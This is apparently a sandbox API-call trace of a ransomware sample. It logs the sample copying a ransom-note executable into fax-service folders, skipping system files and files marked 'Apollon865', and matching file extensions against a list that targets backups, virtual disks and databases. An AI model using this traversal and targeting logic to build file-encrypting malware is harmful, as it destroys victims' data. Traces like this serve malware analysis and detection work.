	[0079.096] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f7dba30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0079.097] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.097] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7910
	[0079.097] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox"
	[0079.097] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd58 | out: hHeap=0x580000) returned 1
	[0079.097] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0079.097] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox") returned 51
	[0079.097] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox"
	[0079.097] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.097] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\inbox\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.098] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.098] GetLastError () returned 0x0
	[0079.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.098] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.098] CloseHandle (hObject=0x10c) returned 1
	[0079.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.098] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.098] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.099] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.099] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.099] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.099] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.099] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.099] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.099] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.099] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.099] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f7dba30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.099] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.099] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f7dba30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0079.099] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.099] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b78f0
	[0079.099] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages"
	[0079.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0079.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78e8 | out: hHeap=0x580000) returned 1
	[0079.099] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned 63
	[0079.099] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages"
	[0079.099] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.099] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.100] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.100] GetLastError () returned 0x0
	[0079.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.100] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.100] CloseHandle (hObject=0x10c) returned 1
	[0079.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.100] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.100] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.100] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.100] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.100] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.100] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.100] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.100] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.100] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.101] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.101] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f801b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0079.101] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.101] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0079.101] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0079.101] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0079.101] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0079.101] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0079.101] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0079.101] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0079.101] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0079.101] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0079.101] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0079.101] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0079.101] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0079.101] lstrlenW (lpString="en-US") returned 5
	[0079.101] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*") returned 65
	[0079.101] lstrcpyW (in: lpString1=0x119e688, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0079.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b78e8
	[0079.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x5c8f30
	[0079.101] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b78f0 | out: ListHead=0x5b75f0, ListEntry=0x5b78f0) returned 0x5b78d0
	[0079.101] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f7dba30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.101] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.101] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f7dba30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0079.101] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.101] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b78f0
	[0079.101] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US"
	[0079.101] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0079.101] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78e8 | out: hHeap=0x580000) returned 1
	[0079.101] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned 69
	[0079.101] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US"
	[0079.101] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.102] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.102] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.102] GetLastError () returned 0x0
	[0079.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.102] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.102] CloseHandle (hObject=0x10c) returned 1
	[0079.102] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.102] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.103] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f801b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.103] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.103] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.103] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.103] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f801b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.103] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.103] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.103] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.103] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.103] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x28aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="confident.cov", cAlternateFileName="")) returned 1
	[0079.103] lstrcmpiW (lpString1="confident.cov", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.103] lstrcmpiW (lpString1="confident.cov", lpString2="Apollon865.txt.exe") returned 1
	[0079.103] lstrcmpiW (lpString1="confident.cov", lpString2=".") returned 1
	[0079.103] lstrcmpiW (lpString1="confident.cov", lpString2="..") returned 1
	[0079.103] lstrcmpiW (lpString1="confident.cov", lpString2="windows") returned -1
	[0079.103] lstrcmpiW (lpString1="confident.cov", lpString2="bootmgr") returned 1
	[0079.103] lstrcmpiW (lpString1="confident.cov", lpString2="temp") returned -1
	[0079.103] lstrcmpiW (lpString1="confident.cov", lpString2="pagefile.sys") returned -1
	[0079.103] lstrcmpiW (lpString1="confident.cov", lpString2="boot") returned 1
	[0079.103] lstrcmpiW (lpString1="confident.cov", lpString2="ids.txt") returned -1
	[0079.103] lstrcmpiW (lpString1="confident.cov", lpString2="ntuser.dat") returned -1
	[0079.103] lstrcmpiW (lpString1="confident.cov", lpString2="perflogs") returned -1
	[0079.103] lstrcmpiW (lpString1="confident.cov", lpString2="MSBuild") returned -1
	[0079.103] lstrlenW (lpString="confident.cov") returned 13
	[0079.103] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*") returned 71
	[0079.103] lstrcpyW (in: lpString1=0x119e694, lpString2="confident.cov" | out: lpString1="confident.cov") returned="confident.cov"
	[0079.103] lstrlenW (lpString="confident.cov") returned 13
	[0079.103] lstrlenW (lpString="Apollon865") returned 10
	[0079.103] lstrcmpiW (lpString1="fident.cov", lpString2="Apollon865") returned 1
	[0079.103] lstrlenW (lpString=".dll") returned 4
	[0079.104] lstrcmpiW (lpString1="confident.cov", lpString2=".dll") returned 1
	[0079.104] lstrlenW (lpString=".lnk") returned 4
	[0079.104] lstrcmpiW (lpString1="confident.cov", lpString2=".lnk") returned 1
	[0079.104] lstrlenW (lpString=".ini") returned 4
	[0079.104] lstrcmpiW (lpString1="confident.cov", lpString2=".ini") returned 1
	[0079.104] lstrlenW (lpString=".sys") returned 4
	[0079.104] lstrcmpiW (lpString1="confident.cov", lpString2=".sys") returned 1
	[0079.104] lstrlenW (lpString="confident.cov") returned 13
	[0079.104] lstrlenW (lpString="bak") returned 3
	[0079.104] lstrcmpiW (lpString1="cov", lpString2="bak") returned 1
	[0079.104] lstrlenW (lpString="ba_") returned 3
	[0079.104] lstrcmpiW (lpString1="cov", lpString2="ba_") returned 1
	[0079.104] lstrlenW (lpString="dbb") returned 3
	[0079.104] lstrcmpiW (lpString1="cov", lpString2="dbb") returned -1
	[0079.104] lstrlenW (lpString="vmdk") returned 4
	[0079.104] lstrcmpiW (lpString1=".cov", lpString2="vmdk") returned -1
	[0079.104] lstrlenW (lpString="rar") returned 3
	[0079.104] lstrcmpiW (lpString1="cov", lpString2="rar") returned -1
	[0079.104] lstrlenW (lpString="zip") returned 3
	[0079.104] lstrcmpiW (lpString1="cov", lpString2="zip") returned -1
	[0079.104] lstrlenW (lpString="tgz") returned 3
	[0079.104] lstrcmpiW (lpString1="cov", lpString2="tgz") returned -1
	[0079.104] lstrlenW (lpString="vbox") returned 4
	[0079.104] lstrcmpiW (lpString1=".cov", lpString2="vbox") returned -1
	[0079.104] lstrlenW (lpString="vdi") returned 3
	[0079.104] lstrcmpiW (lpString1="cov", lpString2="vdi") returned -1
	[0079.104] lstrlenW (lpString="vhd") returned 3
	[0079.104] lstrcmpiW (lpString1="cov", lpString2="vhd") returned -1
	[0079.104] lstrlenW (lpString="vhdx") returned 4
	[0079.104] lstrcmpiW (lpString1=".cov", lpString2="vhdx") returned -1
	[0079.104] lstrlenW (lpString="avhd") returned 4
	[0079.104] lstrcmpiW (lpString1=".cov", lpString2="avhd") returned -1
	[0079.104] lstrlenW (lpString="db") returned 2
	[0079.104] lstrcmpiW (lpString1="ov", lpString2="db") returned 1
	[0079.104] lstrlenW (lpString="db2") returned 3
	[0079.104] lstrcmpiW (lpString1="cov", lpString2="db2") returned -1
	[0079.104] lstrlenW (lpString="db3") returned 3
	[0079.104] lstrcmpiW (lpString1="cov", lpString2="db3") returned -1
	[0079.105] lstrlenW (lpString="dbf") returned 3
	[0079.105] lstrcmpiW (lpString1="cov", lpString2="dbf") returned -1
	[0079.105] lstrlenW (lpString="mdf") returned 3
	[0079.105] lstrcmpiW (lpString1="cov", lpString2="mdf") returned -1
	[0079.105] lstrlenW (lpString="mdb") returned 3
	[0079.105] lstrcmpiW (lpString1="cov", lpString2="mdb") returned -1
	[0079.105] lstrlenW (lpString="sql") returned 3
	[0079.105] lstrcmpiW (lpString1="cov", lpString2="sql") returned -1
	[0079.105] lstrlenW (lpString="sqlite") returned 6
	[0079.105] lstrcmpiW (lpString1="nt.cov", lpString2="sqlite") returned -1
	[0079.105] lstrlenW (lpString="sqlite3") returned 7
	[0079.105] lstrcmpiW (lpString1="ent.cov", lpString2="sqlite3") returned -1
	[0079.105] lstrlenW (lpString="sqlitedb") returned 8
	[0079.105] lstrcmpiW (lpString1="dent.cov", lpString2="sqlitedb") returned -1
	[0079.105] lstrlenW (lpString="xml") returned 3
	[0079.105] lstrcmpiW (lpString1="cov", lpString2="xml") returned -1
	[0079.105] lstrlenW (lpString="$er") returned 3
	[0079.105] lstrcmpiW (lpString1="cov", lpString2="$er") returned 1
	[0079.105] lstrlenW (lpString="4dd") returned 3
	[0079.105] lstrcmpiW (lpString1="cov", lpString2="4dd") returned 1
	[0079.105] lstrlenW (lpString="4dl") returned 3
	[0079.105] lstrcmpiW (lpString1="cov", lpString2="4dl") returned 1
	[0079.105] lstrlenW (lpString="^^^") returned 3
	[0079.105] lstrcmpiW (lpString1="cov", lpString2="^^^") returned 1
	[0079.105] lstrlenW (lpString="abs") returned 3
	[0079.105] lstrcmpiW (lpString1="cov", lpString2="abs") returned 1
	[0079.105] lstrlenW (lpString="abx") returned 3
	[0079.105] lstrcmpiW (lpString1="cov", lpString2="abx") returned 1
	[0079.105] lstrlenW (lpString="accdb") returned 5
	[0079.105] lstrcmpiW (lpString1="t.cov", lpString2="accdb") returned 1
	[0079.105] lstrlenW (lpString="accdc") returned 5
	[0079.105] lstrcmpiW (lpString1="t.cov", lpString2="accdc") returned 1
	[0079.105] lstrlenW (lpString="accde") returned 5
	[0079.105] lstrcmpiW (lpString1="t.cov", lpString2="accde") returned 1
	[0079.105] lstrlenW (lpString="accdr") returned 5
	[0079.105] lstrcmpiW (lpString1="t.cov", lpString2="accdr") returned 1
	[0079.105] lstrlenW (lpString="accdt") returned 5
	[0079.105] lstrcmpiW (lpString1="t.cov", lpString2="accdt") returned 1
	[0079.106] lstrlenW (lpString="accdw") returned 5
	[0079.106] lstrcmpiW (lpString1="t.cov", lpString2="accdw") returned 1
	[0079.106] lstrlenW (lpString="accft") returned 5
	[0079.106] lstrcmpiW (lpString1="t.cov", lpString2="accft") returned 1
	[0079.106] lstrlenW (lpString="adb") returned 3
	[0079.106] lstrcmpiW (lpString1="cov", lpString2="adb") returned 1
	[0079.106] lstrlenW (lpString="adb") returned 3
	[0079.106] lstrcmpiW (lpString1="cov", lpString2="adb") returned 1
	[0079.106] lstrlenW (lpString="ade") returned 3
	[0079.106] lstrcmpiW (lpString1="cov", lpString2="ade") returned 1
	[0079.106] lstrlenW (lpString="adf") returned 3
	[0079.106] lstrcmpiW (lpString1="cov", lpString2="adf") returned 1
	[0079.106] lstrlenW (lpString="adn") returned 3
	[0079.106] lstrcmpiW (lpString1="cov", lpString2="adn") returned 1
	[0079.106] lstrlenW (lpString="adp") returned 3
	[0079.106] lstrcmpiW (lpString1="cov", lpString2="adp") returned 1
	[0079.106] lstrlenW (lpString="alf") returned 3
	[0079.106] lstrcmpiW (lpString1="cov", lpString2="alf") returned 1
	[0079.106] lstrlenW (lpString="ask") returned 3
	[0079.106] lstrcmpiW (lpString1="cov", lpString2="ask") returned 1
	[0079.106] lstrlenW (lpString="btr") returned 3
	[0079.106] lstrcmpiW (lpString1="cov", lpString2="btr") returned 1
	[0079.106] lstrlenW (lpString="cat") returned 3
	[0079.106] lstrcmpiW (lpString1="cov", lpString2="cat") returned 1
